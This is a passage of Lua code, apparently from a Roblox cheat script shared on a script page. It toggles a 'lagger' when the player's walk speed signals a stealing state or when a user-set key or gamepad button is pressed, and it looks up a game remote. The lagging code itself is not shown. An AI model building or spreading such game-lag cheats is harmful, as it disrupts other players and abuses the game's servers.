    local hum = char:FindFirstChild("Humanoid")
    if not hum then return end

    local ws = hum.WalkSpeed
    local hasSteal = (ws >= 10 and ws < 25)

    if lastStealState == nil then
        lastStealState = hasSteal
        return
    end

    if hasSteal and not lastStealState then
        lastStealState = true
        toggleLaggerState(true)
    elseif not hasSteal and lastStealState then
        lastStealState = false
        toggleLaggerState(false)
    end
end)


UserInputService.InputBegan:Connect(function(input, processed)
    local kc = input.KeyCode
    if kc == Enum.KeyCode.Unknown then return end

    if listeningFor then
        if kc == Enum.KeyCode.Escape then
            listeningFor = nil
            updateKbLabels()
            return
        end
        if listeningFor == "kb" then
            cfg.keybindKb = kc.Name
            listeningFor  = nil
            updateKbLabels()
            saveConfig()
            return
        end
        if listeningFor == "gp" then
            cfg.keybindGp = kc.Name
            listeningFor  = nil
            updateKbLabels()
            saveConfig()
            return
        end
        return
    end

    if processed then return end

    local kbEnum = resolveKb(cfg.keybindKb)
    local gpEnum = resolveKb(cfg.keybindGp)

    if (kbEnum and kc == kbEnum) or (gpEnum and kc == gpEnum) then
        toggleLaggerState(not laggerActive)
    end
end)

remote = findRemote()

Comments (0)

Log in to leave a comment.

No comments yet.